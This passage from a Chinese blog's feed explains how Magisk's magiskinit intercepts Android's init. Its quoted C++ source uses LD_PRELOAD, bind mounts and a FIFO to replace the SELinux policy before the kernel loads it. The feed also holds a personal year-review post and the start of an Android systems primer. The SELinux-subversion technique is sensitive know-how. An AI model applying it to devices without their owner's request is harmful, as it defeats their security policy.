被我们 patch 了,原本 switch root 应该由 kernel 来做的,现在没有了,需要手动 mount /system 然后 switch root 进去</li><li>检测有没有 /apex,有的话代表 Android 10+,init 有 selinux_setup 阶段,可以劫持,走 <code>first_stage_prep()</code>;没有的话直接 <code>patch_ro_boot()</code> 然后执行原来的 init</li><li><code>first_stage_prep()</code> 里会像 Modern 2SI 那样修补 init,将 /system/bin/init 重定向到 /data/magiskinit,然后把它挂载到 /init 以供后面执行;执行原来的 init。</li><li>原来的 init 执行 selinux_setup(若有),转到 magiskinit,magiskinit 识别到二阶段,自动 <code>patch_ro_boot()</code></li><li><code>patch_ro_boot()</code> 完成之后,执行 init 交还控制权,继续开机</li></ol><h3 id="修补-SEPolicy"><a href="#修补-SEPolicy" class="headerlink" title="修补 SEPolicy"></a>修补 SEPolicy</h3><p>由于这一块过于复杂,所以单独放一节讲。</p><p>如果你仔细看了上面的代码,你会发现修补 SEPolicy 有 <code>patch_sepolicy()</code> 以及 <code>hijack_sepolicy()</code> 两个函数,那么它们有什么不同呢?</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">void</span> MagiskInit::patch_sepolicy(<span class="keyword">const</span> <span class="keyword">char</span> *in, <span class="keyword">const</span> <span class="keyword">char</span> *out) {</span><br><span class="line"> LOGD(<span class="string">"Patching monolithic policy\n"</span>);</span><br><span class="line"> <span class="keyword">auto</span> sepol = <span class="built_in">unique_ptr</span><sepolicy>(sepolicy::from_file(in));</span><br><span class="line"></span><br><span class="line"> <span class="comment">/** 修补 sepolicy **/</span></span><br><span class="line"> sepol->magisk_rules();</span><br><span class="line"></span><br><span class="line"> LOGD(<span class="string">"Dumping sepolicy to: [%s]\n"</span>, out);</span><br><span class="line"> sepol->to_file(out);</span><br><span class="line"></span><br><span class="line"> <span class="comment">// Remove OnePlus stupid debug sepolicy and use our own</span></span><br><span class="line"> <span class="keyword">if</span> (access(<span class="string">"/sepolicy_debug"</span>, F_OK) == <span class="number">0</span>) {</span><br><span class="line"> unlink(<span class="string">"/sepolicy_debug"</span>);</span><br><span class="line"> link(<span class="string">"/sepolicy"</span>, <span class="string">"/sepolicy_debug"</span>);</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> MOCK_COMPAT SELINUXMOCK <span class="meta-string">"/compatible"</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> MOCK_LOAD SELINUXMOCK <span class="meta-string">"/load"</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> MOCK_ENFORCE SELINUXMOCK <span class="meta-string">"/enforce"</span></span></span><br><span class="line"></span><br><span class="line"><span class="keyword">bool</span> MagiskInit::hijack_sepolicy() {</span><br><span class="line"> xmkdir(SELINUXMOCK, <span class="number">0</span>);</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (access(<span class="string">"/system/bin/init"</span>, F_OK) == <span class="number">0</span>) {</span><br><span class="line"> <span class="comment">// On 2SI devices, the 2nd stage init file is always a dynamic executable.</span></span><br><span class="line"> <span class="comment">// This meant that instead of going through convoluted methods trying to alter</span></span><br><span class="line"> <span class="comment">// and block init's control flow, we can just LD_PRELOAD and replace the</span></span><br><span class="line"> <span class="comment">// security_load_policy function with our own implementation.</span></span><br><span class="line"> dump_preload();</span><br><span class="line"> setenv(<span class="string">"LD_PRELOAD"</span>, <span class="string">"/dev/preload.so"</span>, <span class="number">1</span>);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="comment">// Hijack the "load" and "enforce" node in selinuxfs to manipulate</span></span><br><span class="line"> <span class="comment">// the actual sepolicy being loaded into the kernel</span></span><br><span class="line"> <span class="keyword">auto</span> hijack = [&] {</span><br><span class="line"> LOGD(<span class="string">"Hijack ["</span> SELINUX_LOAD <span class="string">"]\n"</span>);</span><br><span class="line"> close(xopen(MOCK_LOAD, O_CREAT | O_RDONLY, <span class="number">0600</span>));</span><br><span class="line"> xmount(MOCK_LOAD, SELINUX_LOAD, <span class="literal">nullptr</span>, MS_BIND, <span class="literal">nullptr</span>);</span><br><span class="line"> LOGD(<span class="string">"Hijack ["</span> SELINUX_ENFORCE <span class="string">"]\n"</span>);</span><br><span class="line"> mkfifo(MOCK_ENFORCE, <span class="number">0644</span>);</span><br><span class="line"> xmount(MOCK_ENFORCE, SELINUX_ENFORCE, <span class="literal">nullptr</span>, MS_BIND, <span class="literal">nullptr</span>);</span><br><span class="line"> };</span><br><span class="line"></span><br><span class="line"> <span class="built_in">string</span> dt_compat;</span><br><span class="line"> <span class="keyword">if</span> (access(SELINUX_ENFORCE, F_OK) != <span class="number">0</span>) {</span><br><span class="line"> <span class="comment">// selinuxfs not mounted yet. Hijack the dt fstab nodes first</span></span><br><span class="line"> <span class="comment">// and let the original init mount selinuxfs for us.</span></span><br><span class="line"> <span class="comment">// This only happens on Android 8.0 - 9.0</span></span><br><span class="line"></span><br><span class="line"> <span class="keyword">char</span> buf[<span class="number">4096</span>];</span><br><span class="line"> ssprintf(buf, <span class="keyword">sizeof</span>(buf), <span class="string">"%s/fstab/compatible"</span>, config->dt_dir);</span><br><span class="line"> dt_compat = full_read(buf);</span><br><span class="line"> <span class="keyword">if</span> (dt_compat.empty()) {</span><br><span class="line"> <span class="comment">// Device does not do early mount and uses monolithic policy</span></span><br><span class="line"> <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="comment">// Remount procfs with proper options</span></span><br><span class="line"> xmount(<span class="literal">nullptr</span>, <span class="string">"/proc"</span>, <span class="literal">nullptr</span>, MS_REMOUNT, <span class="string">"hidepid=2,gid=3009"</span>);</span><br><span class="line"></span><br><span class="line"> LOGD(<span class="string">"Hijack [%s]\n"</span>, buf);</span><br><span class="line"></span><br><span class="line"> <span class="comment">// Preserve sysfs and procfs for hijacking</span></span><br><span class="line"> mount_list.erase(<span class="built_in">std</span>::remove_if(</span><br><span class="line"> mount_list.begin(), mount_list.end(),</span><br><span class="line"> [](<span class="keyword">const</span> <span class="built_in">string</span> &s) { <span class="keyword">return</span> s == <span class="string">"/proc"</span> || s == <span class="string">"/sys"</span>; }), mount_list.end());</span><br><span class="line"></span><br><span class="line"> mkfifo(MOCK_COMPAT, <span class="number">0444</span>);</span><br><span class="line"> xmount(MOCK_COMPAT, buf, <span class="literal">nullptr</span>, MS_BIND, <span class="literal">nullptr</span>);</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> hijack();</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="comment">// Create a new process waiting for init operations</span></span><br><span class="line"> <span class="keyword">if</span> (xfork()) {</span><br><span class="line"> <span class="comment">// In parent, return and continue boot process</span></span><br><span class="line"> <span class="keyword">return</span> <span class="literal">true</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (!dt_compat.empty()) {</span><br><span class="line"> <span class="comment">// This open will block until init calls DoFirstStageMount</span></span><br><span class="line"> <span class="comment">// The only purpose here is actually to wait for init to mount selinuxfs for us</span></span><br><span class="line"> <span class="keyword">int</span> fd = xopen(MOCK_COMPAT, O_WRONLY);</span><br><span class="line"></span><br><span class="line"> <span class="keyword">char</span> buf[<span class="number">4096</span>];</span><br><span class="line"> ssprintf(buf, <span class="keyword">sizeof</span>(buf), <span class="string">"%s/fstab/compatible"</span>, config->dt_dir);</span><br><span class="line"> xumount2(buf, MNT_DETACH);</span><br><span class="line"></span><br><span class="line"> hijack();</span><br><span class="line"></span><br><span class="line"> xwrite(fd, dt_compat.data(), dt_compat.size());</span><br><span class="line"> close(fd);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="comment">// This open will block until init calls security_getenforce</span></span><br><span class="line"> <span class="keyword">int</span> fd = xopen(MOCK_ENFORCE, O_WRONLY);</span><br><span class="line"></span><br><span class="line"> <span class="comment">// Cleanup the hijacks</span></span><br><span class="line"> umount2(<span class="string">"/init"</span>, MNT_DETACH);</span><br><span class="line"> xumount2(SELINUX_LOAD, MNT_DETACH);</span><br><span class="line"> xumount2(SELINUX_ENFORCE, MNT_DETACH);</span><br><span class="line"></span><br><span class="line"> <span class="comment">// Load and patch policy</span></span><br><span class="line"> <span class="keyword">auto</span> sepol = <span class="built_in">unique_ptr</span><sepolicy>(sepolicy::from_file(MOCK_LOAD));</span><br><span class="line"> sepol->magisk_rules();</span><br><span class="line"> sepol->load_rules(rules);</span><br><span class="line"></span><br><span class="line"> <span class="comment">// Load patched policy into kernel</span></span><br><span class="line"> sepol->to_file(SELINUX_LOAD);</span><br><span class="line"></span><br><span class="line"> <span class="comment">// Write to the enforce node ONLY after sepolicy is loaded. We need to make sure</span></span><br><span class="line"> <span class="comment">// the actual init process is blocked until sepolicy is loaded, or else</span></span><br><span class="line"> <span class="comment">// restorecon will fail and re-exec won't change context, causing boot failure.</span></span><br><span class="line"> <span class="comment">// We (ab)use the fact that init reads the enforce node, and because</span></span><br><span class="line"> <span class="comment">// it has been replaced with our FIFO file, init will block until we</span></span><br><span class="line"> <span class="comment">// write something into the pipe, effectively hijacking its control flow.</span></span><br><span class="line"></span><br><span class="line"> <span class="built_in">string</span> enforce = full_read(SELINUX_ENFORCE);</span><br><span class="line"> xwrite(fd, enforce.data(), enforce.length());</span><br><span class="line"> close(fd);</span><br><span class="line"></span><br><span class="line"> <span class="comment">// At this point, the init process will be unblocked</span></span><br><span class="line"> <span class="comment">// and continue on with restorecon + re-exec.</span></span><br><span class="line"></span><br><span class="line"> <span class="comment">// Terminate process</span></span><br><span class="line"> <span class="built_in">exit</span>(<span class="number">0</span>);</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>最直观的感觉就是,两个函数代码量不一样……</p><p>Android 上,sepolicy 可以以单个的 sepolicy 文件的形式存储,也可以存储多个拆分的 cil 文件;前者被称为 monolithic policy,后者被称为 split sepolicy。Linux 内核只接受 monolithic policy,所以加载 split sepolicy 时,由 init 进程负责将 cil 文件编译为 monolithic policy 并加载进内核。</p><p>对于 monolithic policy,magiskinit patch 起来非常轻松惬意:直接加载 /sepolicy,修改,放回去,然后 init 加载的时候就会加载我们修改过的 sepolicy。</p><p>而对于 split policy 可就麻烦了,init 运行之前可能根本没有 /sepolicy 给你 patch,怎么办呢?因为 init 会把 cil 全部编译成 monolithic policy 然后再传进内核里(具体是往 <code>/sys/fs/selinux/load</code> 写入),要是有方法拦截这个写入过程就好了!</p><p>有吗?还真有。</p><p>先快速介绍一下 FIFO 的概念:FIFO 看起来就像一个普通的文件,但是它用起来类似 pipe,就是一根管子,当一个进程往里写内容的时候,另一个进程能读取到。反过来,一个进程读它的时候,默认会阻塞,直到有另外的进程打开了这个 FIFO 并且写入内容。说白了就是一个专门用来进程间通信的管子,只不过长得是个文件而已。</p><p>Magisk 的 <code>hijack_policy()</code> 正是利用了 FIFO 的特性,才能拦截到 init 加载 sepolicy 的过程。<br>具体来说,大致分为以下几步:</p><ol><li>判断 selinuxfs 有没有被挂载,如果没有需要先等 init 挂载 selinuxfs。这里我们同样利用 FIFO,选择了一个 init 挂载完 selinuxfs 之后会读取的文件,来卡住时机。里面的注释 <code>This only happens on Android 8.0 - 9.0</code> 其实是因为更旧的版本没有 split policy,直接 patch monolithic policy 就好了,不用走 hijack;而 Android 10+ init 始终分为三步,我们永远在 selinux_setup 时进行 hijack,此时 first stage 已经走完了,selinuxfs 肯定已经被 init mount 上了;只有 Android 8.0-9.0,有可能有 split policy 又没有单独的 selinux_setup 这一步可以拦截,所以只能手动进行特殊处理。</li><li>用 bind mount 把 <code>/sys/fs/selinux/load</code> 覆盖成一个普通的文件,这样 init 往里写入 sepolicy 时其实是写进了我们的文件,而不是内核里</li><li>调用 <code>mkfifo()</code> 创建一个 FIFO,然后 bind mount 到 <code>/sys/fs/selinux/enforce</code> 上面</li><li>fork 一个子进程,父进程继续执行剩余步骤,然后执行原始 init;子进程会以 write-only 的方式打开这个 FIFO,此时因为 FIFO 的特性,这个进程会阻塞,直到有另一个进程以 read 方式打开同样的 FIFO。在我们的例子当中,子进程会阻塞,直到 init 调用 <code>security_getenforce()</code> 读取了 <code>/sys/fs/selinux/enforce</code>,此时 init 阻塞,等待我们的子进程往 FIFO 内写入内容,而此时 init 已经把要加载的 sepolicy 写入到了 <code>/sys/fs/selinux/load</code></li><li>读取 init 原本要加载的 sepolicy,进行 patch 注入自己的规则,然后手动加载进内核里(因为之前 init 尝试加载的时候被我们给拦了)</li><li>往 FIFO 写入内容,唤醒对端的 init 进程,做一些 cleanup 然后可以退出子进程。</li></ol><p>虽然整个 hijack 还使用了 <code>LD_PRELOAD</code> 等技术来保证 sepolicy hijack 能够正常工作,但大致流程就是如上所示。整个机制非常精妙,非常依赖 init 的实际行为,需要结合 android init 及 libselinux 的源码反复琢磨才能搞清其中逻辑。</p>]]></content>
<summary type="html">
<p>终于开了一直想写的这篇文章,再不写点东西就真的是年更博客了……</p><p>本文可以认为是 <a href="https://topjohnwu.github.io/Magisk/boot.html" target="_blank" rel="noopener">Android Booting Shenanigans</a> 的中文补充说明,同时添加了 magiskinit 的一些处理细节。即使你对 magiskinit 没兴趣也可以看看,说不定就有一些你平时从来没注意到的细节呢 :)</p>
</summary>
<category term="android" scheme="https://blog.canyie.top/tags/android/"/>
<category term="magisk" scheme="https://blog.canyie.top/tags/magisk/"/>
<category term="system" scheme="https://blog.canyie.top/tags/system/"/>
<category term="kernel" scheme="https://blog.canyie.top/tags/kernel/"/>
</entry>
<entry>
<title>若人生是场大梦啊——记我人生的前19年</title>
<link href="https://blog.canyie.top/2023/11/06/first-19-years-of-my-life/"/>
<id>https://blog.canyie.top/2023/11/06/first-19-years-of-my-life/</id>
<published>2023-11-06T11:16:26.000Z</published>
<updated>2024-07-03T23:19:21.132Z</updated>
<content type="html"><![CDATA[<p>上次发年终总结还是 2022 年发 2021 年的,2022 年的年终总结缺失了。今年发生了好多好多的事情,一直想写今年的年终总结但是却总没到年终,干脆写成前 19 年纪念吧。</p><a id="more"></a><h2 id="从中职,到大学"><a href="#从中职,到大学" class="headerlink" title="从中职,到大学"></a>从中职,到大学</h2><p>2021 年年底,从电子厂回来了,简单过了一个年之后,2022 年初,我的中职学校终于开设了高考班,但令我没想到的是,学校要求高考班学生先进电子厂再实习三个月,九月份再正式开始学。为了逃避实习,只能和学校说要参加竞赛,然后跑去 CSP-J 2022 玩了一圈。九月份后,进入高三(我不管我不管中职三年级也能叫做高三),实习的同学都回来了,课程再次从零开始重置,挑战了一出三个月学完全部内容。2022 年底,COVID-19 疫情防控政策放开,COVID-19 Omicron 大爆发,临近考试的时刻被学校全部遣送回家,然后体验了新冠一周速通(不得不说是真他妈难受啊)。幸好,高职高考宣布延期(不延期我就要当场死掉了!!!),在家玩了最长的一个寒假(除了2020年寒假),2月份就这样上了考场。结果是,367分,一开始看见分数有点失望,但是不知道是今年试题比往年偏难还是其他考生经过新冠后都没发挥好,竟然考到了全省四百多名,完全想不到的结果。然后就是填志愿选学校了,面对只有两间还都是民办的本科院校和全省甚至全国最好的专科院校,还是选择了填报本科。到了专业技能测试,结果竟然考了50道选择题,轻松拿下。总之怎么说呢,终于摆脱了中等职业教育,终于和以前的同学们又站在了同一条起跑线。上学好累,真的好累,继续努力吧。</p><h2 id="我想,做我喜欢的事情"><a href="#我想,做我喜欢的事情" class="headerlink" title="我想,做我喜欢的事情"></a>我想,做我喜欢的事情</h2><p>我喜欢计算机,我喜欢编程,我喜欢研究奇怪的事情,我喜欢帮助别人。我一直都知道。这两年给 Magisk 提交了好多好多代码,就在 2022 年的最后一天晚上,我还在给 magisk 修 bug。commit, push, create pull request, reply to the initial issue,时钟就这样转到了 23:59 (以 UTC+8 时间)。和另一位维护者说了句新年快乐,就这样,2022 年结束了,新的 2023 年来了。2023 年一月,新的一年的第一个月,拿到了 Magisk 项目的 collaborator 身份,后续又把 canyie 这个名字放进了 magisk app 主页【关注我们】里的开发者列表,算是安慰一下自己吧。</p><p><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAASwAAAEsCAMAAABOo35HAAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29mdHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAC9UExURVlZWdPT07KysmRkZIWFhfT09JmZmWZmZm9vb39/fxkZGUxMTDMzM3p6epCQkKamppubm729venp6cjIyN7e3tbW1s/Pz8LCwnx8fLS0tFZWVoiIiI+Pj6GhoeTk5Glpabu7u93d3evr66CgoJSUlKqqqsnJyeDg4Hd3d8PDw+Xl5bi4uNHR0dvb26Ojo6urq+fn51hYWDg4OCgoKHBwcK2traenp0FBQe7u7vHx8U5OTre3t8zMzHV1df///7GrnpQAAAA/dFJOU///////////////////////////////////////////////////////////////////////////////////AI4mfBcAAAUGSURBVHja7NoJb6M4GMZxY0NCD64kve/pMZ2d3Z297+X7f6zFNmBAMUXa6URl/q9UJSWPUPzrizFWRUlNLgEBWGCBBRZYYEEAFlhggQUWWBCABRZYYIEFFgRggQUWWGCBBQFYYIEFFlhgQQAWWGCBBRZYEIAFFlhggQUWBGCBBRZYYIEFAVhggQUWWGBBABZYYIEFFlgQgAUWWGCBBRYEYIEFFlhggQUBWGCBBRZYYEEAFlhggQUWWBCABRZYYIEFFgRggQUWWGCBBQFYYIEFFlhgQQAWWGCBBRZYEIAFFlhggQUWBGCBBRZYn6cCIcRXgvX/h9qcIVBqDdbEM8RCxGCB9QqXYRwHYDHBgwXWl8eKZKiESHI3Ba1kWs3fKixcaJUl1YyeBm7Ocq+yLItUiVBGnXxenSHJolIKEcwHq6ikbOX1YGVzQCTN8LPmSLreghUl9sN4Uw7yajMrLC0TZ1ImzqY6FEop0+pIaEN5HaoOxVuwEqFyc4I46uSlzOLqgxlh6UaR9l3VYWl9Fdoxb1Q90KJtu41pwwFW/WHhTtW8i7TafLCqRsk6bsGw63L9qurXRmuIlbT9lDQnlXU+nBFW1Q2qnZbDprWa2tjR90LZFqx1/+Td/HpGWLlrLDvIwTcx6dQ1Vrntbig68cDms3JwbA5Y1azs1ger6sNV/bbIw1jU81MvNAGrl58RVn8ozW+btF08iGFoAlYvP3csfVur1gJBEIA1uBmue5dhZDOyO2epbmgCVi8/I6x0MMHH9pjsTfBhNzQBq5uPZoQlB0uH3DZG4EZqQ26fL3sZq5uf09Ih6qw3i/pm6BZO0qZX7rrUS68Xsbr5ZE4rePMk08pk9aUZugfqppvs6AM1Acvlo/StP+6EbW06z8hJqxbYp2BZPQUnFsLsKuhQdaHqn5ewbF7KXIn0jWO5MqOQ7RaNLPtbNMmmhimj0GUmYLl8Gs0Lq4wyPbTu1l2QKqHSouzs3OlDIslW5SQsnY/NXmFplyNvEuuLV/Tau9BzwiraDUSwXmysztYWWNtL1psXeumgIrDGaqXvBfUuvtqUYI3V2t1wk1e2msFluJJm6zDJXv/fIfjPP7DAAgsssCiwwAILLLDAosACCyywwAKLAgsssMACC6zt9fDz/v75tyOB+98PD2+ORgKffjw4OP1uJPDxl+Xy8v1I4MPF3t7VNyOB4/vF4uzdzrG+39f1kz/w66Guv/yBvw90KX/gZKkr8Qf+2dOV+gNHC12/7RxrabD2/a31bLAO/a11YbAO/K21MFhLf2s9Gqw9f2vdGqzFu11jnVusE2/gxmI9eQOnFuvYG7i0WH7uK4t15w2cWazrXWP9a7H8f/bQYvm/6IPF+sF/pVssf19Ii/WH/0K2WH/uGuvEWC39gSdj9Twy+Rqri5EZx1gt/IE7Y/XoD1wbq9vd3w1PlufnD2OBp+ebm/uxwPHF6emnscDR4vLy41jg7vHq6sNY4Pr27OyYdRaLUrDAAosCCyywwAILLAossMACCyywKLDAAgsssMCiwAILLLDAAosCCyywwAILLAossMACCyywKLDAAgsssMCiwAILLLDAAosCCyywwAILLAossMACCyywKLDAAgsssMCiwAILLLDAAosCCyywwAILLAossMACCyywKLDAAgsssMCiwAILLLDAAosCCyywwAILLAossMACCyywKLDAAgsssL6u+k+AAQCR9eHtLKvLfwAAAABJRU5ErkJggg==" data-original="/data/image/my-first-19-years/magisk_devs.jpg" alt=""></p><p>高职高考结束之后,选择硬刚学校,自行跑路后联系了以前认识的一个长沙老板,成功加入到了他们公司干了四个月活,是小时候梦寐以求的 Android Framework 开发工程师哦。</p><p>工作的时候,研究 Android Framework 的时候还意外发现了一个安全漏洞,和 google 反馈之后,google 定级为中危漏洞,本来以为能领到人生中第一个 CVE 的,结果五月份 google 改政策,不给普通的 moderate issue 分配 CVE 了,到手的 CVE 飞了,太坏了。继续努力吧。</p><p><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAASwAAAEsCAMAAABOo35HAAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29mdHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAC9UExURVlZWdPT07KysmRkZIWFhfT09JmZmWZmZm9vb39/fxkZGUxMTDMzM3p6epCQkKamppubm729venp6cjIyN7e3tbW1s/Pz8LCwnx8fLS0tFZWVoiIiI+Pj6GhoeTk5Glpabu7u93d3evr66CgoJSUlKqqqsnJyeDg4Hd3d8PDw+Xl5bi4uNHR0dvb26Ojo6urq+fn51hYWDg4OCgoKHBwcK2traenp0FBQe7u7vHx8U5OTre3t8zMzHV1df///7GrnpQAAAA/dFJOU///////////////////////////////////////////////////////////////////////////////////AI4mfBcAAAUGSURBVHja7NoJb6M4GMZxY0NCD64kve/pMZ2d3Z297+X7f6zFNmBAMUXa6URl/q9UJSWPUPzrizFWRUlNLgEBWGCBBRZYYEEAFlhggQUWWBCABRZYYIEFFgRggQUWWGCBBQFYYIEFFlhgQQAWWGCBBRZYEIAFFlhggQUWBGCBBRZYYIEFAVhggQUWWGBBABZYYIEFFlgQgAUWWGCBBRYEYIEFFlhggQUBWGCBBRZYYEEAFlhggQUWWBCABRZYYIEFFgRggQUWWGCBBQFYYIEFFlhgQQAWWGCBBRZYEIAFFlhggQUWBGCBBRZYn6cCIcRXgvX/h9qcIVBqDdbEM8RCxGCB9QqXYRwHYDHBgwXWl8eKZKiESHI3Ba1kWs3fKixcaJUl1YyeBm7Ocq+yLItUiVBGnXxenSHJolIKEcwHq6ikbOX1YGVzQCTN8LPmSLreghUl9sN4Uw7yajMrLC0TZ1ImzqY6FEop0+pIaEN5HaoOxVuwEqFyc4I46uSlzOLqgxlh6UaR9l3VYWl9Fdoxb1Q90KJtu41pwwFW/WHhTtW8i7TafLCqRsk6bsGw63L9qurXRmuIlbT9lDQnlXU+nBFW1Q2qnZbDprWa2tjR90LZFqx1/+Td/HpGWLlrLDvIwTcx6dQ1Vrntbig68cDms3JwbA5Y1azs1ger6sNV/bbIw1jU81MvNAGrl58RVn8ozW+btF08iGFoAlYvP3csfVur1gJBEIA1uBmue5dhZDOyO2epbmgCVi8/I6x0MMHH9pjsTfBhNzQBq5uPZoQlB0uH3DZG4EZqQ26fL3sZq5uf09Ih6qw3i/pm6BZO0qZX7rrUS68Xsbr5ZE4rePMk08pk9aUZugfqppvs6AM1Acvlo/StP+6EbW06z8hJqxbYp2BZPQUnFsLsKuhQdaHqn5ewbF7KXIn0jWO5MqOQ7RaNLPtbNMmmhimj0GUmYLl8Gs0Lq4wyPbTu1l2QKqHSouzs3OlDIslW5SQsnY/NXmFplyNvEuuLV/Tau9BzwiraDUSwXmysztYWWNtL1psXeumgIrDGaqXvBfUuvtqUYI3V2t1wk1e2msFluJJm6zDJXv/fIfjPP7DAAgsssCiwwAILLLDAosACCyywwAKLAgsssMACC6zt9fDz/v75tyOB+98PD2+ORgKffjw4OP1uJPDxl+Xy8v1I4MPF3t7VNyOB4/vF4uzdzrG+39f1kz/w66Guv/yBvw90KX/gZKkr8Qf+2dOV+gNHC12/7RxrabD2/a31bLAO/a11YbAO/K21MFhLf2s9Gqw9f2vdGqzFu11jnVusE2/gxmI9eQOnFuvYG7i0WH7uK4t15w2cWazrXWP9a7H8f/bQYvm/6IPF+sF/pVssf19Ii/WH/0K2WH/uGuvEWC39gSdj9Twy+Rqri5EZx1gt/IE7Y/XoD1wbq9vd3w1PlufnD2OBp+ebm/uxwPHF6emnscDR4vLy41jg7vHq6sNY4Pr27OyYdRaLUrDAAosCCyywwAILLAossMACCyywKLDAAgsssMCiwAILLLDAAosCCyywwAILLAossMACCyywKLDAAgsssMCiwAILLLDAAosCCyywwAILLAossMACCyywKLDAAgsssMCiwAILLLDAAosCCyywwAILLAossMACCyywKLDAAgsssMCiwAILLLDAAosCCyywwAILLAossMACCyywKLDAAgsssL6u+k+AAQCR9eHtLKvLfwAAAABJRU5ErkJggg==" data-original="/data/image/my-first-19-years/report-aosp-security-vulnerability.jpg" alt=""></p><p>就这样吧。期待下次相见。</p>]]></content>
<summary type="html">
<p>上次发年终总结还是 2022 年发 2021 年的,2022 年的年终总结缺失了。今年发生了好多好多的事情,一直想写今年的年终总结但是却总没到年终,干脆写成前 19 年纪念吧。</p>
</summary>
<category term="年鉴" scheme="https://blog.canyie.top/tags/%E5%B9%B4%E9%89%B4/"/>
<category term="闲聊" scheme="https://blog.canyie.top/tags/%E9%97%B2%E8%81%8A/"/>
</entry>
<entry>
<title>写给 Android 开发者的系统基础知识科普</title>
<link href="https://blog.canyie.top/2023/03/28/system-foundation-for-android-devs/"/>
<id>https://blog.canyie.top/2023/03/28/system-foundation-for-android-devs/</id>
<published>2023-03-28T08:03:06.000Z</published>
<updated>2023-03-29T03:16:42.834Z</updated>
<content type="html"><![CDATA[<p>与我以往的风格不同,本文为科普类文章,因此不会涉及到太过高深难懂的知识。但这些内容可能 Android 应用层开发者甚至部分 framework 层开发者都不了解,因此仍旧高能预警。</p><p>另外广东这两天好冷啊,大家注意保暖~</p><a id="more"></a><h2 id="虚拟机与运行时"><a href="#虚拟机与运行时" class="headerlink" title="虚拟机与运行时"></a>虚拟机与运行时</h2><h3 id="对象的概念"><a href="#对象的概念" class="headerlink" title="对象的概念"></a>对象的概念</h3><p>假设 <code>getObjectAddress(Object)</code> 是一个获取对象内存地址的方法。</p><h4 id="第一题:"><a href="#第一题:" class="headerlink" title="第一题:"></a>第一题:</h4><p>考虑如下代码:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title">main</span><span class="params">(String[] args)</span> </span>{</span><br><span class="line"> Object o = <span class="keyword">new</span> Object();</span><br><span class="line"> <span class="keyword">long</span> address1 = getObjectAddress(o);</span><br><span class="line"> <span class="comment">// .......</span></span><br><span class="line"> <span class="keyword">long</span> address2 = getObjectAddress(o);</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p><code>main</code> 方法中,创建了一个 Object 对象,随后两次调用 <code>getObjectAddress</code> 